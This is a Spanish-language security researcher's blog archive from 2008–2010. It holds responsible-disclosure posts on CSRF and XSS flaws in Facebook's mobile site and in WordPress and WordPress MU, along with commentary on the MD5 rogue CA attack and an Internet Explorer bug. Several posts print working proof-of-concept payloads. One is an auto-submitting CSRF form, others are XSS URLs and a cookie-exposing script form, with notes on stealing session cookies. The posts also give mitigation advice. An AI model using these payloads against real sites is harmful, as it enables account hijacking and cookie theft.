Tuesday, 16 February 2010

Facebook: Cross-Site Request Forgery Vulnerability


Cross-Site Request Forgery es un ataque que fuerza a la victima a realizar acciones no deseadas en una aplicación en la que ésta se encuentra autenticada.

Como funciona este ataque? Un ejemplo simple, podría ser el siguiente, pongámonos en la situación de un servlet de un banco que permite realizar transacciones.
Este servlet, usa los siguientes parámetros (acct y amount), veamos un ejemplo de petición HTTP:


POST http://bank.com/transfer.do HTTP/1.1
...
...
Content-Length: 19;

acct=BOB&amount=100


En account se establece la cuenta de destino y en amount el dinero a transferir. En este escenario, un atacante puede crear un formulario de tipo POST, que envíe esas dos variables al servlet, y preparar una página web en la cual este formulario se envie de manera automática mediante JavaScript. El atacante incita a la victima a visitar este enlace y directamente la transferencia se realiza sin intervencción por parte del usuario.

El atacante ha conseguido que la victima ejecute acciones no deseadas, ya que ésta dispone de una sesión válida en la aplicación.

Del mismo modo, la interfaz móvil de Facebook era vulnerable en el formulario de actualización del perfil a ataques de tipo CSRF, en concreto en el recurso http://m.facebook.com/a/editprofile.php

El siguiente código, es un ejemplo que permite a un atacante modificar el número de teléfono en el perfil mediante esta técnica. Preparando el siguiente formulario para que se envíe automáticamente, haciendo que sea accesible en una página web y tratar que la victima lo visite mediante el envío de un enlace o cualquier otro método, concluiría en el compromiso del usuario y de la aplicación por parte del atacante:

Prueba de concepto:

<html>
<head>
<script>

function send() {
document.forms[0].submit();
}

</script>
</head>

<body onload="send();">
<form action="http://m.facebook.com/a/editprofile.php?edit=phone_cell&type=contact"; method="post">
<input type="hidden" name="phone_num" value="600000000">
<input type="hidden" name="save" value="">
</form>
</body>
</html>


El impacto es que un atacante puede forzar a otros usuarios de Facebook a realizar acciones no deseadas. La explotación con éxito de este ataque permitía la actualziación del perfil de la víctima.


Mitigación:

Es necesario implementar mecanismos de control con el objetivo de asegurar que el usuario además de estar autenticado y disponer de permisos para realizar una acción determinada (autorizado), no está siendo forzado por otros usuarios a realizar acciones no deseadas mediante CSRF.
Para resolver este problema, hay varias soluciones, la más común, se trata de generar un token aleatorio al crear el formulario y almacenarlo con la información relacionada a él (recurso, usuario, perfil, formulario, etc), añadiéndolo como campo oculto en el formulario.
Una vez se realiza la petición contra el servidor, se valida que ese token es válido. Un atacante que prepare un formulario malintencionado no podrá saber que token es válido y cúal no, por lo que con esta medida mitigamos el ataque.
El equipo de seguridad de Facebook fue notificado lo antes posible en cuanto se descubió la vulnerabilidad y corrigió este bug de forma rápida, por lo que actualmente está solucionado.


Disponeis del advisory original enviado a Full-disclosure:

http://seclists.org/fulldisclosure/2010/Feb/274


Muchas gracias! al equipo de seguridad de Facebook y a SecurityByDefault @secbydefault por las reseñas ;-)

Wednesday, 3 February 2010

Vulnerabilidad de inyección de código HTML y JavaScript en Facebook


La red social Facebook ocupa el puesto número 2 en el índice alexa y según su COO, acceden a ella 175 millones de usuarios cada día.



Hoy se ha publicado la primera de las vulnerabilidades que he encontrado en Facebook, y en concreto se trata de una inyección de código HTML y JavaScript que afecta a la interfaz móvil de la red social.

En concreto, la variable 'q' en el recurso http://m.facebook.com/friends.php no era correctamente filtrada, por lo que un atacante podía realizar ataques de tipo Cross-Site Scripting (XSS) con el objetivo de robar las cookies del usuario, y por lo tanto, comprometer su cuenta de Facebook.

El 'Proof of concept' era el siguiente: http://m.facebook.com/friends.php?q=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E


El impacto de esta vulnerabilidad en una red social como Facebook, es el robo de cuentas de los usuarios afectados, por lo tanto se considera de relevante gravedad.
Para aprovechar la vulnerabilidad el atacante tendría que preparar un enlace o sitio web con el código malicioso, con el objetivo de que las victimas lo visitaran. Y simplemente por el hecho de hacer click en un enlace o visitar un sitio web, sus cuentas quedarían automáticamente comprometidas.

El estado actual de esta vulnerabilidad es corregido. Para conseguirlo, nos pusimos en contacto con el equipo de seguridad de Facebook con el objetivo de mitigar los errores encontrados, y a pesar de que en un primer momento no obtuvimos respuesta, actualmente mantenemos un canal de comunicación con el fin de que se corrija esta y otras vulnerabilidades que se han descubierto.


Teneis disponible el advisory original (english).

A medida que el equipo de seguridad de Facebook notifique la correción de las vulnerabilidades reportadas, iré publicando más información en el blog.

Tuesday, 12 January 2010

Saturday, 9 January 2010

Wordpress Administration Interface < 2.9 HTML and Script code Injection Vulnerability

Hola,

El siguiente es un  aviso de seguridad para Wordpress en versiones anteriores a 2.9.
Debido a la falta de validación de la entrada proporcionada por el usuario, el parámetro insertonly[href] no ha sido correctamente filtrado por lo que es posible injectar código HTML y de script en el contexto del navegador de la victima.

El bug se encuentra en el fichero admin/media-upload.php y aquí podemos ver un PoC:

<form action="http://site/wordpress/wp-admin/media-upload.php?type=file&tab=type_url&
post_id=0" enctype="multipart/form-data" method="post">
<input name="insertonly[href]" size="80" type="text" 
value="');</script>Wordpress XSS PoC<script>alert(document.cookie);</script><script> a('"/>

<input name="insertonlybutton" type="submit" value="Test PoC" />

</form>


Este bug podría ser usado, si se implementara un autosubmit del formulario y se enviaran las cookies de sesión a un servidor externo para el robo de cuentas, pudiendo llegar a obtener la cuenta de administración sin necesidad de tener una cuenta en el sistema (nótese que además del XSS, al no existir una validación con token, estamos ante un XSRF, por este motivo, no es necesario estar en posesión de una cuenta para explotar la vulnerabilidad).

El equipo de seguridad de Wordpress fue avisado del bug y publicaron la versión 2.9 que corrige la vulnerabilidad. La solución es actualizar a la versión 2.9 o 2.9.1 que acaban de publicar.

Referencias:

http://www.wordpress.org/

Saludos

Resumen seguridad informática 2009 por unaaldia

Hola,

Debido a que el año pasado el blog no ha estado muy activo, enlazamos al resumen de seguridad informática para el año 2009 realizado por unaaldia, en el que se refleja lo más destacado referente a temas de seguridad.

Resumen de seguridad informática 2009 (I/IV)
Resumen de seguridad informática 2009 (II/IV)
Resumen de seguridad informática 2009 (III/IV)
Resumen de seguridad informática 2009 (IV/IV)


Desde aquí, reconocer el esfuerzo que hacen desde Hispasec para mantener esta publicación día tras día.

Monday, 28 December 2009

Avisos de seguridad 2009

Hola,

Este año ha estado lleno de cambios, entre ellos, uno de los más destacados es que actualmente resido en Barcelona por motivos laborales.
Ha sido un año muy activo, en el cual he asistido a muchos eventos relacionados con la seguridad de la información y el mundo de la tecnología tales como las conferencias FIST, OWASP Spain Chapter Meeting, Hacking At Random (HAR), JDARE '09, LaCon '09, DISI, IBWAS '09,... en algunos de los cuales he participado como ponente. La previsión para el año que viene es igual o mejor, ya que se están organizando gran cantidad de eventos relacionados con temas de seguridad informática.

Complementando los eventos y conferencias, he realizado a lo largo del año tareas de investigación de vulnerabilidades en software (la mayoría en aplicaciones web), de las cuales, se han publicado de forma responsable avisos de seguridad en listas relacionadas con la seguridad informática. A modo de resumen paso a citar algunos de estos "advisories":


ModSecurity Multiple Remote Denial of Service Vulnerabilities
http://www.securityfocus.com/bid/34096
CVE ID: CVE-2009-1902

Joomla! Prior to 1.5.11 Multiple Cross Site Scripting and HTML Injection Vulnerabilities
http://www.securityfocus.com/bid/35189

Joomla! Remote File Upload Vulnerability And Information Disclosure Weakness
http://www.securityfocus.com/bid/35780

Horde Application Framework Administration Interface 'PHP_SELF' Cross-Site Scripting Vulnerability

http://www.securityfocus.com/bid/37351
CVE ID: CVE-2009-3701

QuiXplorer 'lang' Parameter Local File Include Vulnerability
http://www.securityfocus.com/bid/37393

WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities

http://www.securityfocus.com/bid/37357
CVE ID: CVE-2009-3703


PHP-Calendar Multiple Remote And Local File Include Vulnerabilities
http://www.securityfocus.com/bid/37450
CVE-2009-3702

Joomla! Cross Site Scripting and Information Disclosure Vulnerabilities
http://www.securityfocus.com/bid/35544

eXtplorer 'include/init.php' Local File Include Vulnerability
http://www.securityfocus.com/bid/33955

WordPress MU 'wp-includes/wpmu-functions.php' Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/34075
CVE ID: CVE-2009-1030



Simple PHP Blog 'blog_language1' Parameter Local File Include Vulnerability    
http://www.securityfocus.com/bid/37434


A partir del 2010, espero poder ir publicando los avisos de seguridad en el blog a medida que vayan viendo la luz y cualquier otro apunte que considere interesante. Por lo demás, tan solo desearos un feliz año.

Tuesday, 30 December 2008

Ataque a SSL/HTTPS: afectadas CA's con firmas MD5

Hola,

Estos días está teniendo lugar en Berlín el 25C3, 25 Chaos Communication Congress. En él se están presentando interesantes ponencias en temas relacionados con la seguridad.

En concreto, hoy se ha presentado MD5 considered harmful today, Creating a rogue CA Certificate, un PoC en el que describen cómo aprovechar las colisiones MD5, para generar un certificado válido y realizar ataques de suplantación de identidad, afectando directamente a las redes de confianza, concepto en el que se basa la Public Key Infrastructure (PKI), y sobre el que se consolida gran parte de Internet.

Los investigadores en cuestión son Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger.

El problema de fondo es que existan CAs que continúen usando MD5 para sus firmas, aún cuando MD5 se sabe que está roto desde 2004, en relación a la posibilidad de encontrar colisiones y ya en 2007 se presentó un paper teórico de como atacar a una CA basado en estas premisas.

Ha tenido que ser en 2008, con la ayuda de un CPD de 200 PS3 equivalente a 8000 CPUs estándar o $20k de tiempo en amazon EC2, cuando un equipo de investigadores de seguridad informática ha demostrado como explotar esta técnica en la práctica para afectar al protocolo HTTPS, (si, el candadito que sale en la parte inferior derecha del navegador), y en realidad cualquier protocolo que use SSL . Pero la pregunta es, quien sigue usando MD5 a día de hoy para cosas serias? y la triste respuesta es que muchos sistemas..., de los 30k certificados que cogieron para realizar el ataque, 9k estaban firmados con md5, a rapidssl.com se le ha atribuido el 97% de ellos.



Para saber si el sitio que visitamos puede correr peligro de ser suplantado y por lo tanto permitiría ataques 'man-in-the-middle' sobre SSL, desde Firefox, podemos ir a "Herramientas" -> "Información de la página" -> "Seguridad" -> "Ver Certificado" -> "Detalles" -> "Algoritmo de firma del certificado". Si veis algo como "PKCS #1 SHA-1 con cifrado RSA" estais a salvo, sin embargo si aparece "MD5" entonce ese sitio es vulnerable.

Este tipo de ataques podrían conducir a ataques de phising "perfectos" o indetectables, con certificados SSL válidos o bien se podrían combinar junto con el fallo descubierto por Dan Kaminsky hace unos meses sobre DNS Poisoning, por lo que serían totalmente eficaces y de muy dificil detección, debido a que la victima no podría darse cuenta que el sitio está siendo suplantado. Este tipo de vulnerabilidades podría llegar a afectar o "salpicar" a la banca o comercio online, ya que son el tipo de tecnologías que usan como medida de seguridad para el protocolo de datos entre el cliente y el servidor, es un tema bastante serio.

La solución pasa porque ningún CA firme con MD5, y sólo se utilice SHA1 o algoritmos más seguros (SHA-2 todavia está en desarrollo y no está totalmente soportado), al mismo tiempo los navegadores tienen que actualizar sus blacklist para revocar esos certificados, mozilla y microsoft se han pronunciado, más abajo os dejo los enlaces.


Enlaces:

Información detallada
Más información técnica
Presentación en el congreso
Sitio de demo (poner la hora del sistema anterior a Agosto 2004 antes de hacer click

Certificados:

Certificado real
Certificado modificado


Respuesta de Mozilla/Microsoft:

Mozilla


Microsoft y 2



Referencias:

ISC SANS: MD5 Considered harmful today - Creating a rogue CA certificate

ISC SANS: MD5 SSL Summary

Friday, 19 December 2008

Predicciones de seguridad informática para 2009

Os dejo una nota corta, leída en el blog de Xavier Caballé sobre las predicciones de seguridad informática para el año 2009 que lo tenemos ahí mismo:

10 Security Predictions for 2009 (Channel Web)
2009 Security Predicitions (SANS Institute)
Security Predicitions: Experts Look Ahead to 2009 and Beyond (CIO.com)
Rich Mogull: 7 Infosec Trends for 2009 (CSO Online)

Wednesday, 17 December 2008

BSOD en Mac OS X: actualización a 10.5.6

[caption id="attachment_237" align="alignleft" width="472" caption="Kernel Panic Mac OS X"]kernel_panic_mac_os_x[/caption]

Puestos a criticar, aquí no se salva nadie... ahora le toca el turno a Apple.

Hace apenas un par de días salió la actualización de Leopard a 10.5.6, en principio todo pintaba bien, añadía funcionalidades, actualizaba ciertos componentes, corrgía bugs: Brian Krebs, del washington post, anunciaba que Apple corregía de esta manera 21 fallos de seguridad. y al parecer se iba a convertir en la última actualización antes del esperado Mac OS X 10.6 "Snow Leopard" para los colegas.

Pero llegaron los problemas, un buen número de usuario se quejan de los múltiples problemas que están teniendo con las actualizaciones, y a mí también me ha tocado.

He actualizado varias máquinas, Mac Mini PowerPC, Macbook pro Intel, IMac 20" pero por último ha fallado una máquina un IMac 24" Intel. La actualización no se llegó a instalar correctamente, al reiniciarse el sistema era completamente inestable (fallos inesperados en varios procesos.., no funciona el sonido, etc), y después de un reinicio forzado, la máquina ya no vuelve a arrancar mostrando la pantalla de un bonito kernel panic caraácteristico de Mac que ya había visto otras veces, pero esta vez en el arranque, pocos segundos después de pulsar el botón de encendido, dejando la máquina totalmente inútil.

Al parecer los de Apple le quieren hacer la competencia a M$ con los pantallazos azules (BSOD, Blue Screen Of Death), en este caso color gris. Lo cierto es que, pretendiendo ser un sistema operativo serio, no pueden permitirse este tipo de fallos, realmente están preparados para el desspliegue a nivel corporativo?

Actualización 19/12: Apple reconoce que existen problemas con la actualización a 10.5.6, al parecer el paquete que distribuyeron estaba incompleto.

Referencia: http://support.apple.com/kb/TS2383

Internet Explorer: Critical Microsoft Security Bulletin MS08-078

[caption id="attachment_220" align="alignleft" width="228" caption="IE Bug"]ie7bug[/caption]

Hola,

Cuando por primera vez lo leí, hace ya días, pensé "bueno.. uno más", pero este bug está dando mucho que hablar.

En primer lugar anunciaron que sólo afectaba a IE7, la vulnerabilidad salió a la luz en un foro chino un día antes del segundo martes de diciembre (que pillos!, los segundos martes de cada mes es cuando m$ distribuye los parches de actualizaciones, dejandoles literalmente en bragas), el problema se complicó muchísimo al notificar un investigador de seguridad danés que la vulnerbailidad se extendía a todas las versiones de Internet Explorer y afecta a todos los sistemas operativos Windows. Este fallo, que reside en el manejo de etiquetas XML, permite ejecutar código arbitrario en la máquina remotamente sin intervención alguna por parte del usuario, sólo es necesario que se visite una página web con Internet Explorer para que el malware sea instalado en la máquina.

Microsoft recomendaba deshabilitar el fichero Oledb32.dll para permanecer seguro (así como no navegar como administrador) y tener actualizados los antivirus, anti-spyware, activado firewall, etc... 'lo qué? ' Es decir,... como saben que puede entrar cualquier virus o similar y no son capaces de evitarlo, actualiza el antivirus y agarrese quien pueda... no creo que sea una medida decente, aún te quedan ganas de seguir usando IE? sigue leyendo...

Además, anunciaron que había un bajo riesgo de infectarse, a pesar de la gran fauna de malware que está aprovechando esta vulnerabilidad y está actualmente in the wild, alegando que un número muy bajo de páginas web estaban infectando máquinas y que había un porcentaje muy bajo de infectarse... viva!! juguemos a la ruleta rusa! No es de recibo... Cuando se sabe a ciencia cierta que hay más de dos millones de máquinas infectadas debido a esta vulnerabilidad y más de 10.000 páginas web con el código javascript malicioso... ejem!

Por todo esto las empresas de seguridad han recomentado la instalación y uso de otros navegadores, como Firefox, Opera, Safari o Chrome, por lo que por fin hoy, deciden sacar el parche fuera de ciclo (como era de esperar), aunque ha dejado como semana y media para que cualquiera lo explote siendo publico (viva el full-disclosure!). En theinquirer comentan sobre el lanzamiento del parche "El mismo será distribuido desde Windows Update, Microsoft Update y Windows Server Update Services (WSUS), para usuarios de Windows 2000, XP, Vista, Server 2003 y Server 2008. El parche debe corregir la vulnerabilidad en IE5.01, IE6 e IE7. Para IE8, actualmente en fase beta, la corrección llegará posteriormente ya que no ha sido incluido en la lista de navegadores soportados."

Vamos, a cualquiera le puede pasar, no existe software 100% seguro, no existe aún técnica o manual que pueda certificarlo, pero hay maneras y maneras... y cuando ha pasado ya muchas veces (ya no sólo a nivel de navegador, sino de sistema.... recordemos el blaster, sasser, y los ya más recientes MS08-67, MS08-68...), es hora de plantearse que software usas teniendo en cuenta que mucha gente, un porcentaje muy alto del tiempo que pasa ante una máquina es con el navegador abierto.

Se puede aprender algo de todo esto, siempre se aprende algo de los errores, podemos seguir varios consejos como no navegar con un usuario con privilegios que no necesite (nunca como adminsitrador), tener un sistema de protección para el sistema y la red..., hay gente que no sigue ninguno de ellos e incluso nunca sabrá que existió este fallo.

Personalmente recomendaría un navegador que me ofrezca cierta garantía de calidad/seguridad, yo apuesto por Firefox y Opera, tu por cuál apuestas?

Desde el Sans ISC nos avisan del lanzamiento del parche MS08-078, y recalcan que no sustituye al MS08-073 de principios de mes, ambos son necesarios para hacer a IE "seguro"

Feliz upgrade a la gente que siga usando IE, recordar es imprescindible actualizarlo, y también podeis replantearos si sería conveniente cambiar de navegador. Un dato curioso es que durante este proceso según un estudio la cuota del IE ha bajado al 70%, siendo tan fácil descargar e instalar un navegador, y lo poco traumático que es ya que te importan los marcadores y demás.

Es hora de reflexionar!

Referencias (en este enlace podeis encontrar información técnica y muchas otras referencias):

NIST IT Security: Internet Explorer XML Exploit Allows Remote Code Execution


Instalar parche [microsoft.com]

Thursday, 27 November 2008

Botelín de Seguridad: WordPress MU < 2.6 wpmu-blogs.php Cross Site Scripting vulnerability

Hola,

Wordpress-MU, es la versión multi usuario de Wordpress, permite ejecutar ilimitadas instancias de blogs con una única instalación de wordpress. Su uso está muy extendido, algunos ejemplos son Wordpress.com (índice 28 en Alexa) o en universidades como Harvard.

Este post tenía que haber visto la luz hace tiempo (por septiembre), pero se ha demorado hasta ahora.
El 6 de agosto, publiqué un llamamiento a la actualización para Wordpress MU < 2.6 debido a un bug encontrado que hacía posible el robo de credenciales.

Todo empezó el 14 de Mayo, cuando debido a mi trabajo, empezamos a trabajar con Wordpress MU, lo genial que tiene el código abierto es que tu mismo puedes auditar el código que va a correr sobre tus máquinas, siendo esto esencial. Ese mismo día, realizando unas pruebas a la plataforma encontré un bug XSS (Cross Site Scripting) en el panel de adminstración que permite a un atacante robar las cookies al Administrador del sitio y (tenga o no tenga usuario en el sistema) convertirse automágicamente en Adminsitrador Global del Sitio.

Ese mismo día el error fue notificado al equipo de desarrollo de Wordpress MU, me sincronizé con ellos para parchear el código en la rama trunk, después de un par de intentos (en el primero se les quedo un cabo suelto ;)) por fin, sólo dos días después (el 16 de mayo) conseguimos solventar completamente el problema. Más tarde veía la luz la esperada versión 2.6 que incluía esta serie de parches. La solución pasa por instalar cualquier versión superior o igual a la 2.6, tan sólo hace dos días anunciaban el lanzamiento de la versión 2.6.5

Quiero agradecer al equipo de desarrollo, en especial al desarrollador principal Donncha por su cooperación y también por añadirme en los créditos. Gracias!

Del mismo modo los administradores de esta red en la Universidad de Alicante también fueron notificados lo antes posible sobre el error, y proporcioné los parches que eran necesarios.

El boletín de seguridad ha sido publicado en los sitios web y listas con más renombre a nivel internacional y las bases de datos de vulnerabilidades más relevantes sobre seguridad informática:


CVE ID: 2008-4671 Common Vulnerabilities and Exposures

NVD, National Vulnerability Database del NIST (US-CERT)
Bugtraq ID, SecurityFocus
Secunia Advisory ID
OSVDB, Open Source Vulnerability Database
Full-disclosure







Podeis leer el Advisory entero aquí mismo:



- Security Advisory -

- - WordPress MU < 2.6 wpmu-blogs.php Cross Site Scripting vulnerability -
- -----------------------------------------------------------------------


Product: Wordpress-MU (multi-user)
Version: Versions prior to 2.6 are affected
Url: http://mu.wordpress.org
Affected by: Coss Site Scripting Attack


I. Introduction.

Wordpress-MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It's widely used, some examples are
WordPress.com or universities like Harvard


II. Description and Impact

Wordpress-MU is affected by a Cross Site Scripting vulnerability, an
attacker can perform an XSS attack that allows him to access the
targeted user cookies to gain administrator privileges

In /wp-admin/wpmu-blogs.php an attacker can inject javascript code,
the input variables "s" and "ip_address" of GET method aren't properly
sanitized


Here is a poc:

PoC: http://site/path/wp-admin/wpmu-blogs.php?action=blogs&s=%27[XSS]
PoC:
http://site/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=%27[XSS]


The impact is the attacker can gain administrator privileges on the
application.


III. Timeline

May 14th, 2008 - Bug discovered
May 14th, 2008 - Vendor contacted and the start of a syncronized
code patching
May 16th, 2008 - MU trunk code fixed
July 28th, 2008 - WPMU 2.6 released
September 2nd, 2008 - WPMU 2.6.1 released
September 29th, 2008 - Security advisory released


IV. Solution

Upgrade to version 2.6 or upper of wordpress multi-user. It can be
downloaded from http://mu.wordpress.org


V. Credits

Juan Galiana Lara
http://blogs.ua.es/jgaliana

GNU/Linux en tu llavero: Distribuciones Live y Virtualización

Una nota rápida para daros el enlace a las slides que utilizamos Héctor y yo en el taller sobre GNU/Linux que comenté ayer en la universidad que llevaba por nombre el título de este post

Descarga: PDF [1.9M]